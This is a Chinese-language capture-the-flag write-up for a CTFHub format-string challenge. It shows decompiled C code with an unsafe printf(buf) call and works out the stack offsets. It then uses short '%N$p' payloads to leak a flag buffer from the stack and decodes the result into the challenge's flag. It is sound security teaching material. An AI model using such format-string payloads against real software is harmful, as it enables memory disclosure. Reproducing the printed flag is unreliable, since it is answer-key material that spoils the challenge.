0x00
checksec:
0x01
运行下查看程序流程
有一个输入点,然后打印输入的结果,不过只打印了前五个字符,应该是对输入长度有限制
丢进IDA看下源码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+Ch] [rbp-124h]
char buf[16]; // [rsp+10h] [rbp-120h] BYREF
char s[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+128h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
memset(s, 0, 0x100uLL);
memset(buf, 0, sizeof(buf));
fd = open("/flag", 4, 4LL);
read(fd, s, 0x100uLL);
close(fd);
puts("Welcome to CTFHub fmt read.Input your format:");
read(0, buf, 5uLL);
printf(buf); <=漏洞点
putchar(10);
return 0;
}
流程很简单,本地读取flag文件,赋值给s变量,同时s变量在栈上,利用printf(buf)构造格式化字符串直接泄露s的值即可得到flag
题目是64位程序,因此前6个变量使用寄存器传递,查看一下栈上变量情况,大致为:
低地址
fd
buf
s
canary
ebp
高地址
因此buf应该是第8个变量,fd为第7个变量,s为第10个变量(不是第9个是因为buf变量长度为0x10,占16字节,占两个变量位置)
0x02
因为是小端序,对照ascii表25,38,24,70分别代表%,8,$,p
接下来直接打印s的值就好
%10$p
由于一次只能打印8字节且题目限制了buf输入长度为5,因此多次输入向后继续打印(具体打印多少可以观察转换后的字符)
对照ASCii表转化成字符后为:
e{buhftc
e2be6751
4cbb3191
}388c9e8
小端序转换一下后就能得到ctfhub{e1576eb2e1913bbc48e9c883}